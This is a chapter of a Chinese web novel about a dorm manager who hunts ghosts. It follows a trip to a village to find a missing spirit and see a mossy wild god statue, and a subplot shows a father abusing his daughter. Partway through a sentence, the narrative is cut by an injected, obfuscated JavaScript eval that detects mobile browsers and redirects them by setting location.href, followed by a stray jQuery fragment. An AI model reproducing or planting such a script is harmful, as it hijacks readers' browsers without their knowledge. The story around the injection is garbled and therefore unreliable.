73. 第 73 章
作品:《主业宿管,副业抓鬼》 车刚开到村头,刘姐已经撑伞在路口等着了。看到车来,连忙招了招手。
“这么热,麻烦你们赶来了。”刘姐一进到车里就先道歉,这几天应该没睡好,整个人看上去比平时在学校值晚班还要憔悴。
“不麻烦。”拾冬说不出什么安慰的话,只好转移话题,“刘姐,先带路吧。”
“好。”
车子往刘姐家驶去,中午两点,最热的时候,沿途基本没人,这个村子不算落后,随处可见的三层小楼,有一些不乏装修得不错,路边一一堆堆香灰洋洋洒洒铺在地面。
“还没到真正普度的时候,这些都是村里一些老人提前烧的。”刘姐见拾冬一直看外面主动解释道。
拾冬点头。
车子往村里开了一段路,终于到了刘姐家。
刘姐家的房子是她儿子在世时出钱翻新的,总共三层,最高一层是露天平台,晾晒衣服,放点杂物,车子可以开进院子,院子里有一口水井,不远处种着一棵不知名的树。
几人下车,一进到客厅红绿两头和祝婉儿坐在长板凳上冲他们打招呼。
“老大你们来了。”红头看到云黛有些意外,点了点头。
“珍珠,你也来啦,来~”绿头把珍珠抱起,见珍珠无精打采的,问拾冬,“珍珠是不是晕车了。”
“有点吧。”拾冬靠边放好行李箱随口回答。
“还没吃饭吧,我去给你们煮碗面,先坐着。”说完顺手打开了风扇。
在服务区没吃什么,确实有些饿了,拾冬没阻拦,说了句谢谢。
头顶的风扇很快高速旋转起来,一圈圈切断门外潮水般涌进的蝉鸣声。
蝉鸣,盛夏,空气里蒸腾出草木晒干的青气,和偶尔传来的悠扬牛叫。
拾冬想起刘姐回村后,经常发一些朋友圈,照片里好山好水,里面应该都有言言。
拾冬听着来自厨房的切菜声,低声问:“你们有问到什么吗?”
“不曾,村子里可疑的地方都去过了,没有看到言言...”古代人祝婉儿说完,加了句,“我真服了。”
?
拾冬立马看向红绿两头,“你们这两天教她什么了。”
“入乡随俗嘛~教了祝姑娘一点网络用语..”绿头对自己的教学成果很满意。
随便你们吧。
拾冬坐了那么久的车,天气又热,她一手支在桌上,脑子转不动一般昏昏欲睡。
郁之托住拾冬差点磕上桌子的额头,见她如梦初醒睁眼,打趣道:“这么困?”
“有点。”拾冬直起身,从帆布包里掏出薄荷糖,之前本来想去网上搜,结果没想到又从办公室的零食堆里,搜出了一罐。
“要吗?”拾冬晃了晃小罐子。
郁之摇头,手支在桌上看拾冬吃糖,大概是视线太有存在感,拾冬有些不自然,往旁看了一眼,问:“看什么?”
郁之毫不吝啬给予夸奖:“看师姐好看。”
拾冬从小到大被夸好看,头一次有难为情的感觉,她瞪了郁之一眼,“闭嘴。”
郁之含笑看着她,乖巧回:“好。”
一旁的祝婉儿幽幽接话:“我磕到了。”
突然觉得祝婉儿说话复古点挺好的。
刘姐很快端上了两碗热气腾腾的青菜鸡蛋面,“乡下没什么招待的。”
“不会。”拾冬接过筷子。
“屋里还有个风扇,我搬出来给你们吹吹,这天太热了。”
刘姐正要往旁边的卧室走去,从外面进来一个人。
“姑姑,你家...有客人啊。”
刚开始说的方言,意识到有别人后,说话人转到了普通话。
是个肤色偏黑的女人,五官普通,微胖,看上去应该有二十七八岁,穿着绿色短袖和七分短裤,手里提着个编织袋,看到拾冬和郁之,先是一愣,紧接着飞快移开了视线。
“盼盼,你怎么来了?快坐。”刘姐随手拉过一把椅子招呼人坐下。
“不了,我爸要我给你拿几个西瓜,今天刚摘的,很新鲜。”
女人把编织袋小心靠墙放好,还没等刘姐再挽留便径直走出了门,这么晒的天,她连顶帽子都没戴。
“她是我表伯儿子的女儿,叫刘盼,高中毕业在外面打了五六年工,不知道是不是在外面压力太大,前几个月突然回来就一直没出去,也是个可怜孩子...”刘姐打开从卧室搬来的电风扇,从刘盼拿来的编织袋里挑了一个大的,“我放井里冰一冰,晚上来吃。”
“高中毕业上班了五六年,算起来最多二十四五岁吧,我还以为她起码有三十了。”
“这年头,牛马不好当啊。”
*
刘盼回到家,后背已完全被汗浸湿,不过老屋阴凉,一进到屋里便感觉到了淡淡凉意。
“东西送了?”躺在老旧躺椅上的男人,左脚高高架在椅背,右脚踏在躺椅上,手机里不断传出主播嗲声嗲气的说话声。
刘盼一口气喝完大半杯水,才回答:“送了。”
“工作的事说了吗?”刘锋眼也没抬,盯着手机屏幕。
刘盼看着面前掉漆的红色暖水壶,说:“她家有客人,我就先回来了。”
刚说完,腰上传来一阵疼痛,她反手摸着被打疼的腰,一只土黄色拖鞋掉在脚边。
“有什么客人,她一家都死了,还客人?要你做点事都做不好,废物,你看看村里你这么点年纪的人有几个?一个都没有!人家都出去打工赚钱,过年开奔驰宝马回来,给家里盖房子。
你倒好,天天在家吃老子的喝老子的,你要不去打工,今年过年就嫁人,老子养你到二十几岁,总得回点本。”
刘盼的汗滴在粗糙的黑色地面,很快被土地吸收。
“你自己掂量着办吧,先去猪栏把猪喂了,养只猪都比你强。”刘锋嘴里嘟嘟囔囔,浑浊的眸子里映出穿女仆装的女主播,一脸猥琐点了个不要钱的小红心。
刘盼擦了擦脸上的汗,扶着腰往老屋后门走。
刘盼家养了三只猪,两只牛,都是等着过年杀了换钱,这几乎是刘家唯一的收入来源。剩余时候,刘锋四处打打零工,没钱了就给刘盼打电话要钱。
“我养了你那么多年,你给我点钱不应该吗?为了你,我没再娶,没让你受继母的欺负,你看看那个刘蓓,被她那个继母打死了,你也是有我这个好爸爸,不然怎么死的都不知道..”
刘盼每次都是默默听着,起先她会哭,哭得上气不接下气,渐渐地,挨骂受挫的阈值提高了,就麻木了。
算了,反正这就是你的命。
没什么好抗争的。
刘盼望着猪栏里吭哧吭哧吃饲料的猪,突然笑了。
难捱的午后过去,空气里氤氲着晒了一天的草木青气,虽然太阳还是很大,但刘盼得牵牛上山吃草。
靠近山脚住着的,如今就剩刘盼一家,她家的房子可以说是村里最老的,外墙黄土,房子里的地面是黑色三合土,小时候她经常用剪刀在地上画格子,和村里的小伙伴玩跳房子游戏。
后来,她们都长大了,有的早已结婚生子,有的渐渐没了联系。
她刚把牛从牛棚牵出,就听到刘锋在门口像是跟谁说话,走上前发现是自己表姑—刘梦。
拾冬看出刘姐的坐立难安,于是在吃完晚饭后提出去有野神像的山上转转,几人骑着电瓶车到了山脚,没想到荒无人烟的山脚竟然还住着人。
“刘梦,这谁啊?”刘锋正准备去小卖部看看有没有人打牌,一出门看到几个人从电瓶车上下来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157304|187222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定眼一看,为首的是自己堂姐,旁边下来的两个人,刘锋一下就锁定到了拾冬身上。
拾冬白了他一眼,转身就走。
刘锋本还想多问两句,但刘梦已经客套说了句“是同事,先走了”,他看着几人走远的背影嘴里嘟囔了几句,转身往小卖部走去,没走两步,不知被什么绊了一跤。
“妈的..”刘锋骂骂咧咧爬了起来。
“珍珠好样的!”绿头冲哒哒哒跑回来的珍珠竖起了大拇指。
拾冬把珍珠抱起,递过手里刚抓的鲜绿蚂蚱,“来,吃。”
珍珠:......
“小严,你别生气啊,他是我堂弟,是下午来送西瓜的盼盼的爸。”刘姐打心眼里不喜欢刘锋也没为他说好话,“没什么出息,天天在家打牌,老婆也跑了,从小到大就是个混子。”
拾冬点了点头,潦草说了句“没事。”
他们沿着黄土小路上山,道路曲曲折折,沿途无人打理的杂草时不时刷过裸露在外皮肤,翠绿的树木和野草,鼻尖是略带湿意的植物气味,难怪都说要亲近大自然,的确让人放松不少。
越往上走,路逐渐变陡,刘姐在前面带路,拾冬和郁之走在后面。
神像似乎不在山顶,爬了一段路后,刘姐拐了个弯,将他们带进山林深处,日照变弱,比刚刚更湿润的水汽扑面而来,通往神像有一截长着青苔,堆满落叶的滑腻台阶,快要看到神像的隐约轮廓前,拾冬和郁之默契松开了相扣的十指。
郁之发现拾冬耳朵红了,正要打趣,听到刘姐说“就是这个”,他漫不经心抬眼望去,嘴角的笑顿时僵住。
山林传来空旷的鸟叫声,绿头看到拾冬和郁之都不说话,率先打破沉默,
“是不是很意外,我们当初跟你一样。”
当初听到游魂说看到言言在野神像那,刘姐立马就带她们去了,去之前以为是弥勒大佛,没想到不过是个一米多高,身上长满苔藓,杂草,五官由于常年的风吹日晒而面目模糊的石像。
“为什么说是神像,说不定是早个几十年的工艺品。”红头好心拔掉石像脚边的杂草问刘姐。
“是神像,我们村里的村支书翻过我们这的县志,上面记载画的是几百年前失踪的一个神,说得云里雾里,我们也不敢乱拜。”
刘姐见拾冬一直不说话,忙问:“是不是有什么东西在里面?”
“没有。”拾冬回过神,她往上走,一直来到神像旁边,神像建在一米多高的石台上,即使本身高度不高,拾冬仍旧得抬头。
确实不像神像,更像个束冠的古代男子,哪怕已经看不清脸了。
这时,不远处响起一阵窸窸窣窣的声音。
“啊!”
刘盼被水里突然冒出的头吓得尖叫起来。
她每次放完牛都会带牛来大马路下面的河边喝水,刚到河边没多久,就感觉水底下好像有什么东西在动,正疑惑盯着,没想到一颗头水淋淋冒了出来。
“刘盼,怎么是你啊,吓到你了。”男人抹了一把湿淋淋的脸,爽朗笑了起来。
“陶书记?”刘盼惊魂未定看着水里光着臂膀的人,“你怎么...”
“哦,这天太热,我刚从田里回来,下来凉快凉快。”陶常浮在水里解释道。
“哦..哦...”
刘盼看着水里的陶常,不知道是不是错觉,感觉陶书记似乎不会变老,每年回家都能感到刘锋的衰老,可陶书记一直没什么太大变化,也许是他经常上山下山运动的缘故吧。
“刘盼,愣什么神,牛要跑了。”
刘盼看着水里笑容开朗的陶常,心突突狂跳,连再见都没说,埋头赶去牵牛。
女孩已经走远了,水里的人还维持刚刚的动作,笑容挂在脸上,一动不动。

